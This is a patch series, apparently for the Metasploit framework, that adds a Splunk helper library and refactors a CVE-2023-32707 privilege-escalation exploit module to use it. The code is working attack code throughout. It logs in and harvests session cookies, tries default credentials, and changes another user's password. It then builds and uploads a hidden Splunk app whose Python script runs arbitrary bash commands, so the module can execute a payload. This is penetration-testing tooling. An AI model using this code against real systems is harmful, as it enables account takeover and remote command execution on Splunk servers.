From 97ef243d2e30dbf667b75a0e759bc9952f6d4b81 Mon Sep 17 00:00:00 2001
From: Gaurav Jain
Date: Thu, 18 Jan 2024 22:32:38 +0530
Subject: [PATCH 1/5] Add Splunk library
---
lib/msf/core/exploit/remote/http/splunk.rb | 30 ++++++
.../core/exploit/remote/http/splunk/apps.rb | 50 ++++++++++
.../core/exploit/remote/http/splunk/base.rb | 20 ++++
.../exploit/remote/http/splunk/helpers.rb | 98 +++++++++++++++++++
.../core/exploit/remote/http/splunk/login.rb | 69 +++++++++++++
.../core/exploit/remote/http/splunk/uris.rb | 34 +++++++
.../exploit/remote/http/splunk/version.rb | 56 +++++++++++
7 files changed, 357 insertions(+)
create mode 100644 lib/msf/core/exploit/remote/http/splunk.rb
create mode 100644 lib/msf/core/exploit/remote/http/splunk/apps.rb
create mode 100644 lib/msf/core/exploit/remote/http/splunk/base.rb
create mode 100644 lib/msf/core/exploit/remote/http/splunk/helpers.rb
create mode 100644 lib/msf/core/exploit/remote/http/splunk/login.rb
create mode 100644 lib/msf/core/exploit/remote/http/splunk/uris.rb
create mode 100644 lib/msf/core/exploit/remote/http/splunk/version.rb
diff --git a/lib/msf/core/exploit/remote/http/splunk.rb b/lib/msf/core/exploit/remote/http/splunk.rb
new file mode 100644
index 0000000000..6cd1474fc7
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/splunk.rb
@@ -0,0 +1,30 @@
+# -*- coding: binary -*-
+
+module Msf
+ class Exploit
+ class Remote
+ module HTTP
+ # This module provides a way of interacting with splunk installations
+ module Splunk
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HTTP::Splunk::Apps
+ include Msf::Exploit::Remote::HTTP::Splunk::Base
+ include Msf::Exploit::Remote::HTTP::Splunk::Helpers
+ include Msf::Exploit::Remote::HTTP::Splunk::Login
+ include Msf::Exploit::Remote::HTTP::Splunk::URIs
+ include Msf::Exploit::Remote::HTTP::Splunk::Version
+
+ def initialize(info = {})
+ super
+
+ register_options(
+ [
+ Msf::OptString.new('TARGETURI', [true, 'The base path to the splunk application', '/'])
+ ], Msf::Exploit::Remote::HTTP::Splunk
+ )
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/splunk/apps.rb b/lib/msf/core/exploit/remote/http/splunk/apps.rb
new file mode 100644
index 0000000000..e752bb34d4
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/splunk/apps.rb
@@ -0,0 +1,50 @@
+# -*- coding: binary -*-
+
+# This module provides a way of interacting with Splunk apps
+module Msf::Exploit::Remote::HTTP::Splunk::Apps
+ # Uploads malicious app to splunk using admin cookie
+ #
+ # @param app_name [String] Name of the app to upload
+ # @param cookie [String] Valid admin's cookie
+ # @return [Boolean] true on success, false on error
+ def splunk_upload_app(app_name, cookie)
+ res = send_request_cgi({
+ 'uri' => splunk_upload_url,
+ 'method' => 'GET',
+ 'cookie' => cookie
+ })
+
+ unless res&.code == 200
+ vprint_error('Unable to get form state')
+ return false
+ end
+
+ html = res.get_html_document
+
+ data = Rex::MIME::Message.new
+ # fill the hidden fields from the form: state and splunk_form_key
+ html.at('[id="installform"]').elements.each do |form|
+ next unless form.attributes['value']
+
+ data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
+ end
+ data.add_part('1', nil, nil, 'form-data; name="force"')
+ data.add_part(splunk_helper_malicious_app(app_name), 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
+ post_data = data.to_s
+
+ res = send_request_cgi({
+ 'uri' => splunk_upload_url,
+ 'method' => 'POST',
+ 'cookie' => cookie,
+ 'ctype' => "multipart/form-data; boundary=#{data.bound}",
+ 'data' => post_data
+ })
+
+ unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
+ vprint_error('Error uploading App')
+ return false
+ end
+
+ true
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/splunk/base.rb b/lib/msf/core/exploit/remote/http/splunk/base.rb
new file mode 100644
index 0000000000..f99612fc95
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/splunk/base.rb
@@ -0,0 +1,20 @@
+# -*- coding: binary -*-
+
+# Splunk base module
+module Msf::Exploit::Remote::HTTP::Splunk::Base
+ # Checks if the site is online and running splunk
+ #
+ # @return [Rex::Proto::Http::Response,nil] Returns the HTTP response if the site is online and running splunk, nil otherwise
+ def splunk_and_online?
+ res = send_request_cgi({
+ 'uri' => splunk_url_login
+ })
+
+ return res if res&.body =~ /Splunk/
+
+ return nil
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
+ vprint_error("Error connecting to #{target_uri}: #{e}")
+ return nil
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/splunk/helpers.rb b/lib/msf/core/exploit/remote/http/splunk/helpers.rb
new file mode 100644
index 0000000000..71c4467bc2
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/splunk/helpers.rb
@@ -0,0 +1,98 @@
+# -*- coding: binary -*-
+
+# Module with helper methods for other Splunk module methods
+module Msf::Exploit::Remote::HTTP::Splunk::Helpers
+ # Helper methods are private and should not be called by modules
+
+ private
+
+ # Helper method to get tokens for login
+ #
+ # @param timeout [Integer] The maximum number of seconds to wait before the request times out
+ # @return [String, nil] Post data to use for login
+ def splunk_helper_extract_token(timeout = 20)
+ res = send_request_cgi({
+ 'uri' => splunk_url_login,
+ 'method' => 'GET',
+ 'keep_cookies' => true
+ }, timeout)
+
+ unless res&.code == 200
+ vprint_error('Unable to get login tokens')
+ return nil
+ end
+ "session_id_8000=#{rand_text_numeric(40)}; " << res.get_cookies
+ end
+
+ # Helper method to construct malicious app in .tar.gz form
+ #
+ # @param app_name [String] Name of app to upload
+ # @return [Rex::Text] Malicious app in .tar.gz form
+ def splunk_helper_malicious_app(app_name)
+ # metadata folder
+ metadata = <<~EOF
+ [commands]
+ export = system
+ EOF
+
+ # default folder
+ commands_conf = <<~EOF
+ [#{app_name}]
+ type = python
+ filename = #{app_name}.py
+ local = false
+ enableheader = false
+ streaming = false
+ perf_warn_limit = 0
+ EOF
+
+ app_conf = <<~EOF
+ [launcher]
+ author=#{Faker::Name.name}
+ description=#{Faker::Lorem.sentence}
+ version=#{Faker::App.version}
+
+ [ui]
+ is_visible = false
+ EOF
+
+ # bin folder
+ msf_exec_py = <<~EOF
+ import sys, base64, subprocess
+ import splunk.Intersplunk
+
+ header = ['result']
+ results = []
+
+ try:
+ proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
+ output = proc.stdout.read().decode('utf-8')
+ results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')})
+ except Exception as e:
+ error_msg = f'Error : {str(e)} '
+ results = splunk.Intersplunk.generateErrorResults(error_msg)
+
+ splunk.Intersplunk.outputResults(results, fields=header)
+ EOF
+
+ tarfile = StringIO.new
+ Rex::Tar::Writer.new tarfile do |tar|
+ tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|
+ io.write metadata
+ end
+ tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|
+ io.write commands_conf
+ end
+ tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|
+ io.write app_conf
+ end
+ tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|
+ io.write msf_exec_py
+ end
+ end
+ tarfile.rewind
+ tarfile.close
+
+ Rex::Text.gzip(tarfile.string)
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/splunk/login.rb b/lib/msf/core/exploit/remote/http/splunk/login.rb
new file mode 100644
index 0000000000..01d0eaf100
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/splunk/login.rb
@@ -0,0 +1,69 @@
+# -*- coding: binary -*-
+
+# Module with Splunk login related methods
+module Msf::Exploit::Remote::HTTP::Splunk::Login
+ # performs a splunk login
+ #
+ # @param username [String] Username
+ # @param password [String] Password
+ # @param timeout [Integer] The maximum number of seconds to wait before the request times out
+ # @return [String,nil] the session cookies as a single string on successful login, nil otherwise
+ def splunk_login(username, password, timeout = 20)
+ # gets cval cookies
+ cookie = splunk_helper_extract_token(timeout)
+ if cookie.nil?
+ vprint_error('Unable to extract login tokens')
+ return nil
+ end
+
+ cval_value = cookie.match(/cval=([^;]*)/)[1]
+ # login post, should get back the splunkd_8000 and splunkweb_csrf_token_8000 cookies
+ res = send_request_cgi({
+ 'uri' => splunk_url_login,
+ 'method' => 'POST',
+ 'cookie' => cookie,
+ 'vars_post' =>
+ {
+ 'username' => username,
+ 'password' => password,
+ 'cval' => cval_value
+ }
+ }, timeout)
+
+ unless res
+ vprint_error('No response upon login')
+ return nil
+ end
+
+ unless res.code == 200
+ vprint_error('Login failed')
+ return nil
+ end
+
+ return cookie << " #{res.get_cookies}"
+ end
+
+ # The free version of Splunk does not require authentication. Instead, it'll log the
+ # user right in as 'admin'. If that's the case, no point to brute-force, either.
+ #
+ # @return [Boolean] true if auth is required, false otherwise
+ def splunk_is_auth_required?
+ cookie = splunk_helper_extract_token
+ res = send_request_raw({
+ 'uri' => splunk_home,
+ 'cookie' => cookie
+ })
+
+ return (res && res.body =~ /Logged in as (.+)/) ? false : true
+ end
+
+ # Test and see if the default credential works
+ #
+ # @return [String, nil] the session cookies as a single string on successful login, nil otherwise
+ def splunk_default_creds
+ p = %r{Splunk's default credentials are
username: (.+)
password: (.+)}
+ res = send_request_raw({ 'uri' => target_uri.path })
+ user, pass = res.body.scan(p).flatten
+ splunk_login(user, pass) if user && pass
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/splunk/uris.rb b/lib/msf/core/exploit/remote/http/splunk/uris.rb
new file mode 100644
index 0000000000..48ee934f9d
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/splunk/uris.rb
@@ -0,0 +1,34 @@
+# -*- coding: binary -*-
+
+# Module with methods for commonly used splunk URLs
+module Msf::Exploit::Remote::HTTP::Splunk::URIs
+ # Returns the Splunk Login URL
+ #
+ # @return [String] Splunk Login URL
+ def splunk_url_login
+ normalize_uri(target_uri.path, 'en-US', 'account', 'login')
+ end
+
+ # Returns the Splunk URL for the user's page
+ #
+ # @param username [String] username of the account
+ # @return [String] Splunk user URL
+ def splunk_user_page(username = nil)
+ username = datastore['USERNAME'] if username.nil?
+ normalize_uri(target_uri.path, 'en-US', 'splunkd', '__raw', 'services', 'authentication', 'users', username)
+ end
+
+ # Returns the URL for splunk home page
+ #
+ # @return [String] Splunk home page URL
+ def splunk_home
+ normalize_uri(target_uri.path, 'en-US', 'app', 'launcher', 'home')
+ end
+
+ # Returns the URL for splunk upload page
+ #
+ # @return [String] Splunk upload page URL
+ def splunk_upload_url
+ normalize_uri(target_uri.path, 'en-US', 'manager', 'appinstall', '_upload')
+ end
+end
diff --git a/lib/msf/core/exploit/remote/http/splunk/version.rb b/lib/msf/core/exploit/remote/http/splunk/version.rb
new file mode 100644
index 0000000000..d8748eac1c
--- /dev/null
+++ b/lib/msf/core/exploit/remote/http/splunk/version.rb
@@ -0,0 +1,56 @@
+# -*- coding: binary -*-
+
+# Module to get version of splunk app
+module Msf::Exploit::Remote::HTTP::Splunk::Version
+ # Extracts the Splunk version information using authenticated cookie if available
+ #
+ # @param cookie_string [String] Valid cookie if available
+ # @return [String, nil] Splunk version if found, nil otherwise
+ def splunk_version(cookie_string = nil)
+ version = splunk_version_authenticated(cookie_string) if !cookie_string.nil?
+ return version if version
+
+ version = splunk_login_version
+ return version if version
+
+ nil
+ end
+
+ private
+
+ # Extracts splunk version from splunk user page using valid cookie
+ #
+ # @param cookie_string [String] Valid cookie
+ # @return [String] Splunk version
+ def splunk_version_authenticated(cookie_string)
+ res = send_request_cgi({
+ 'uri' => splunk_user_page,
+ 'vars_get' => {
+ 'output_mode' => 'json'
+ },
+ 'headers' => {
+ 'Cookie' => cookie_string
+ }
+ })
+
+ return nil unless res&.code == 200
+
+ body = res.get_json_document
+ body.dig('generator', 'version')
+ end
+
+ # Tries to extract splunk verion from login page
+ #
+ # @return [String, nil] Splunk version if found, otherwise nil
+ def splunk_login_version
+ res = send_request_cgi({
+ 'uri' => splunk_url_login,
+ 'method' => 'GET'
+ }, 25)
+
+ if res
+ match = res.body.match(/Splunk \d+\.\d+\.\d+/)
+ return match[0].split[1] if match
+ end
+ end
+end
From fd3ca969883f9b140d789e4309bce8b82f962fc5 Mon Sep 17 00:00:00 2001
From: Gaurav Jain
Date: Fri, 19 Jan 2024 00:00:37 +0530
Subject: [PATCH 2/5] Update splunk cve-2023-32707 to use splunk library
---
...unk_privilege_escalation_cve_2023_32707.rb | 154 ++----------------
1 file changed, 11 insertions(+), 143 deletions(-)
diff --git a/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb b/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb
index 1468ba3ce3..4dd343e84f 100644
--- a/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb
+++ b/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb
@@ -9,6 +9,7 @@ class MetasploitModule < Msf::Exploit::Remote
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HTTP::Splunk
attr_accessor :cookie
@@ -99,7 +100,8 @@ class MetasploitModule < Msf::Exploit::Remote
end
def check
- splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
+ self.cookie = splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
+ fail_with(Failure::NoAccess, 'Authentication Failed') unless cookie
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),
@@ -168,9 +170,13 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
splunk_change_password(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
- splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
+ self.cookie = splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])
- splunk_upload_app(app_name, datastore['SPLUNK_APP_FILE'])
+ if splunk_upload_app(app_name, cookie)
+ vprint_status('Splunk app uploaded successfully')
+ else
+ fail_with(Failure::Unknown, 'Failed to upload app')
+ end
@job_id = execute_command(payload.encoded, { app_name: app_name })
# TODO: distinguish commands that return output and commands that don't
@@ -212,43 +218,10 @@ class MetasploitModule < Msf::Exploit::Remote
body['data']
end
- def splunk_helper_extract_token(uri)
- res = send_request_cgi({
- 'uri' => normalize_uri(target_uri.path, uri),
- 'method' => 'GET',
- 'keep_cookies' => true
- })
-
- fail_with(Failure::Unreachable, 'Unable to get token') unless res&.code == 200
-
- "session_id_8000=#{rand_text_numeric(40)}; " << res.get_cookies
- end
-
- def splunk_login(username, password)
- # gets cval and splunkweb_uid cookies
- self.cookie = splunk_helper_extract_token('/en-US/account/login')
-
- # login post, should get back the splunkd_8000 and splunkweb_csrf_token_8000 cookies
- res = send_request_cgi({
- 'uri' => normalize_uri(target_uri.path, '/en-US/account/login'),
- 'method' => 'POST',
- 'cookie' => cookie,
- 'vars_post' =>
- {
- 'username' => username,
- 'password' => password,
- 'cval' => cookies_hash['cval']
- }
- })
-
- fail_with(Failure::UnexpectedReply, 'Unable to login') unless res&.code == 200
-
- cookie << " #{res.get_cookies}"
- end
-
def splunk_change_password(username, password)
# due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set
- do_login(username, password) unless cookie
+ self.cookie ||= splunk_login(datastore['USERNAME'], datastore['PASSWORD'])
+ fail_with(Failure::NoAccess, 'Authentication Failed') unless cookie
print_status("Changing '#{username}' password to #{password}")
res = send_request_cgi({
@@ -277,43 +250,6 @@ class MetasploitModule < Msf::Exploit::Remote
fail_with(Failure::BadConfig, "The user '#{username}' does not have 'install_app' capability. You may consider to target other user") unless capabilities.include? 'install_apps'
end
- def splunk_upload_app(app_name, _file_name)
- res = send_request_cgi({
- 'uri' => normalize_uri(target_uri.path, '/en-US/manager/appinstall/_upload'),
- 'method' => 'GET',
- 'cookie' => cookie
- })
-
- fail_with(Failure::UnexpectedReply, 'Unable to get form state') unless res&.code == 200
-
- html = res.get_html_document
-
- print_status("Uploading file #{app_name}")
-
- data = Rex::MIME::Message.new
- # fill the hidden fields from the form: state and splunk_form_key
- html.at('[id="installform"]').elements.each do |form|
- next unless form.attributes['value']
-
- data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")
- end
- data.add_part('1', nil, nil, 'form-data; name="force"')
- data.add_part(splunk_app, 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")
- post_data = data.to_s
-
- res = send_request_cgi({
- 'uri' => '/en-US/manager/appinstall/_upload',
- 'method' => 'POST',
- 'cookie' => cookie,
- 'ctype' => "multipart/form-data; boundary=#{data.bound}",
- 'data' => post_data
- })
-
- fail_with(Failure::Unknown, 'Error uploading App') unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
-
- print_good("#{app_name} successfully uploaded")
- end
-
# def splunk_fetch_job_output
# res = send_request_cgi({
# 'uri' => normalize_uri(target_uri.path, "/en-US/splunkd/__raw/servicesNS/#{datastore['TARGET_USER']}/#{app_name}/search/jobs/#{@job_id}/results"),
@@ -334,74 +270,6 @@ class MetasploitModule < Msf::Exploit::Remote
# Rex::Text.decode_base64(body['results'].first['result'])
# end
- def splunk_app
- # metadata folder
- metadata = <<~EOF
- [commands]
- export = system
- EOF
-
- # default folder
- commands_conf = <<~EOF
- [#{app_name}]
- type = python
- filename = #{app_name}.py
- local = false
- enableheader = false
- streaming = false
- perf_warn_limit = 0
- EOF
-
- app_conf = <<~EOF
- [launcher]
- author=#{Faker::Name.name}
- description=#{Faker::Lorem.sentence}
- version=#{Faker::App.version}
-
- [ui]
- is_visible = false
- EOF
-
- # bin folder
- msf_exec_py = <<~EOF
- import sys, base64, subprocess
- import splunk.Intersplunk
-
- header = ['result']
- results = []
-
- try:
- proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
- output = proc.stdout.read().decode('utf-8')
- results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')})
- except Exception as e:
- error_msg = f'Error : {str(e)} '
- results = splunk.Intersplunk.generateErrorResults(error_msg)
-
- splunk.Intersplunk.outputResults(results, fields=header)
- EOF
-
- tarfile = StringIO.new
- Rex::Tar::Writer.new tarfile do |tar|
- tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|
- io.write metadata
- end
- tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|
- io.write commands_conf
- end
- tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|
- io.write app_conf
- end
- tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|
- io.write msf_exec_py
- end
- end
- tarfile.rewind
- tarfile.close
-
- Rex::Text.gzip(tarfile.string)
- end
-
def cookies_hash
cookie.split(';').each_with_object({}) { |name, h| h[name.split('=').first.strip] = name.split('=').last.strip }
end
From 38c9185564efd6ddfc429bf5f74e1c7d2cc0edb8 Mon Sep 17 00:00:00 2001
From: Gaurav Jain
Date: Fri, 26 Jan 2024 22:42:09 +0530
Subject: [PATCH 3/5] Add reviewed changes
---
lib/msf/core/exploit/remote/http/splunk/base.rb | 2 +-
lib/msf/core/exploit/remote/http/splunk/helpers.rb | 6 +-----
lib/msf/core/exploit/remote/http/splunk/login.rb | 11 ++++++-----
lib/msf/core/exploit/remote/http/splunk/version.rb | 2 +-
4 files changed, 9 insertions(+), 12 deletions(-)
diff --git a/lib/msf/core/exploit/remote/http/splunk/base.rb b/lib/msf/core/exploit/remote/http/splunk/base.rb
index f99612fc95..c5873a33e4 100644
--- a/lib/msf/core/exploit/remote/http/splunk/base.rb
+++ b/lib/msf/core/exploit/remote/http/splunk/base.rb
@@ -14,7 +14,7 @@ module Msf::Exploit::Remote::HTTP::Splunk::Base
return nil
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
- vprint_error("Error connecting to #{target_uri}: #{e}")
+ vprint_error("Error connecting to #{splunk_url_login}: #{e}")
return nil
end
end
diff --git a/lib/msf/core/exploit/remote/http/splunk/helpers.rb b/lib/msf/core/exploit/remote/http/splunk/helpers.rb
index 71c4467bc2..7ba9164db9 100644
--- a/lib/msf/core/exploit/remote/http/splunk/helpers.rb
+++ b/lib/msf/core/exploit/remote/http/splunk/helpers.rb
@@ -2,10 +2,6 @@
# Module with helper methods for other Splunk module methods
module Msf::Exploit::Remote::HTTP::Splunk::Helpers
- # Helper methods are private and should not be called by modules
-
- private
-
# Helper method to get tokens for login
#
# @param timeout [Integer] The maximum number of seconds to wait before the request times out
@@ -21,7 +17,7 @@ module Msf::Exploit::Remote::HTTP::Splunk::Helpers
vprint_error('Unable to get login tokens')
return nil
end
- "session_id_8000=#{rand_text_numeric(40)}; " << res.get_cookies
+ "session_id_#{datastore['RPORT']}=#{Rex::Text.rand_text_numeric(40)}; " << res.get_cookies
end
# Helper method to construct malicious app in .tar.gz form
diff --git a/lib/msf/core/exploit/remote/http/splunk/login.rb b/lib/msf/core/exploit/remote/http/splunk/login.rb
index 01d0eaf100..d4a060dc9f 100644
--- a/lib/msf/core/exploit/remote/http/splunk/login.rb
+++ b/lib/msf/core/exploit/remote/http/splunk/login.rb
@@ -17,7 +17,7 @@ module Msf::Exploit::Remote::HTTP::Splunk::Login
end
cval_value = cookie.match(/cval=([^;]*)/)[1]
- # login post, should get back the splunkd_8000 and splunkweb_csrf_token_8000 cookies
+ # login post, should get back the splunkd_port and splunkweb_csrf_token_port cookies
res = send_request_cgi({
'uri' => splunk_url_login,
'method' => 'POST',
@@ -31,15 +31,16 @@ module Msf::Exploit::Remote::HTTP::Splunk::Login
}, timeout)
unless res
- vprint_error('No response upon login')
+ vprint_error("FAILED LOGIN. '#{username}' : '#{password}' returned no response")
return nil
end
- unless res.code == 200
- vprint_error('Login failed')
+ unless res.code == 303 || (res.code == 200 && res.body.to_s.index('{"status":0}'))
+ vprint_error("FAILED LOGIN. '#{username}' : '#{password}' with code #{res.code}")
return nil
end
+ print_good("SUCCESSFUL LOGIN. '#{username}' : '#{password}'")
return cookie << " #{res.get_cookies}"
end
@@ -54,7 +55,7 @@ module Msf::Exploit::Remote::HTTP::Splunk::Login
'cookie' => cookie
})
- return (res && res.body =~ /Logged in as (.+)/) ? false : true
+ !(res && res.body =~ /Logged in as (.+)/)
end
# Test and see if the default credential works
diff --git a/lib/msf/core/exploit/remote/http/splunk/version.rb b/lib/msf/core/exploit/remote/http/splunk/version.rb
index d8748eac1c..162a55cd5e 100644
--- a/lib/msf/core/exploit/remote/http/splunk/version.rb
+++ b/lib/msf/core/exploit/remote/http/splunk/version.rb
@@ -46,7 +46,7 @@ module Msf::Exploit::Remote::HTTP::Splunk::Version
res = send_request_cgi({
'uri' => splunk_url_login,
'method' => 'GET'
- }, 25)
+ })
if res
match = res.body.match(/Splunk \d+\.\d+\.\d+/)
From 51dcd5c97185b6a59d72e58c5533c9a7aa43d519 Mon Sep 17 00:00:00 2001
From: Gaurav Jain
Date: Thu, 22 Feb 2024 17:13:44 +0530
Subject: [PATCH 4/5] Update splunk cve-2023-32707 to use reviewed changes
---
.../http/splunk_privilege_escalation_cve_2023_32707.rb | 6 +++---
1 file changed, 3 insertions(+), 3 deletions(-)
diff --git a/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb b/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb
index 4dd343e84f..cd0e807257 100644
--- a/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb
+++ b/modules/exploits/multi/http/splunk_privilege_escalation_cve_2023_32707.rb
@@ -163,7 +163,7 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'POST',
'cookie' => cookie,
'vars_post' => {
- 'splunk_form_key' => cookies_hash['splunkweb_csrf_token_8000']
+ 'splunk_form_key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"]
}
})
end
@@ -195,7 +195,7 @@ class MetasploitModule < Msf::Exploit::Remote
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
- 'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000']
+ 'X-Splunk-Form-Key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"]
},
'vars_post' =>
{
@@ -228,7 +228,7 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri('/en-US/splunkd/__raw/services/authentication/users/', username),
'method' => 'POST',
'headers' => {
- 'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000'],
+ 'X-Splunk-Form-Key' => cookies_hash["splunkweb_csrf_token_#{datastore['RPORT']}"],
'X-Requested-With' => 'XMLHttpRequest'
},
'cookie' => cookie,
From 985b0ba47fbed6dca53524b36dac3318ef16a6ac Mon Sep 17 00:00:00 2001
From: Gaurav Jain
Date: Wed, 6 Mar 2024 01:32:57 +0530
Subject: [PATCH 5/5] Add reviewed changes to splunk library
---
lib/msf/core/exploit/remote/http/splunk/helpers.rb | 8 ++++----
lib/msf/core/exploit/remote/http/splunk/login.rb | 12 ++++++++++--
2 files changed, 14 insertions(+), 6 deletions(-)
diff --git a/lib/msf/core/exploit/remote/http/splunk/helpers.rb b/lib/msf/core/exploit/remote/http/splunk/helpers.rb
index 7ba9164db9..fff987de60 100644
--- a/lib/msf/core/exploit/remote/http/splunk/helpers.rb
+++ b/lib/msf/core/exploit/remote/http/splunk/helpers.rb
@@ -61,11 +61,11 @@ module Msf::Exploit::Remote::HTTP::Splunk::Helpers
results = []
try:
- proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
- output = proc.stdout.read().decode('utf-8')
- results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')})
+ proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
+ output = proc.stdout.read()
+ results.append({'result': base64.b64encode(output).decode('utf-8')})
except Exception as e:
- error_msg = f'Error : {str(e)} '
+ error_msg = 'Error : ' + str(e)
results = splunk.Intersplunk.generateErrorResults(error_msg)
splunk.Intersplunk.outputResults(results, fields=header)
diff --git a/lib/msf/core/exploit/remote/http/splunk/login.rb b/lib/msf/core/exploit/remote/http/splunk/login.rb
index d4a060dc9f..6d81b03916 100644
--- a/lib/msf/core/exploit/remote/http/splunk/login.rb
+++ b/lib/msf/core/exploit/remote/http/splunk/login.rb
@@ -58,13 +58,21 @@ module Msf::Exploit::Remote::HTTP::Splunk::Login
!(res && res.body =~ /Logged in as (.+)/)
end
- # Test and see if the default credential works
+ # Return the default credentials if found
#
- # @return [String, nil] the session cookies as a single string on successful login, nil otherwise
+ # @return [Array, nil] username, password if found, nil otherwise
def splunk_default_creds
p = %r{Splunk's default credentials are
username: (.+)
password: (.+)}
res = send_request_raw({ 'uri' => target_uri.path })
user, pass = res.body.scan(p).flatten
+ return [user, pass] if user && pass
+ end
+
+ # Extract and test the default credentials, if found
+ #
+ # @return [String, nil] the session cookies as a single string on successful login, nil otherwise
+ def splunk_login_with_default_creds
+ user, pass = splunk_default_creds
splunk_login(user, pass) if user && pass
end
end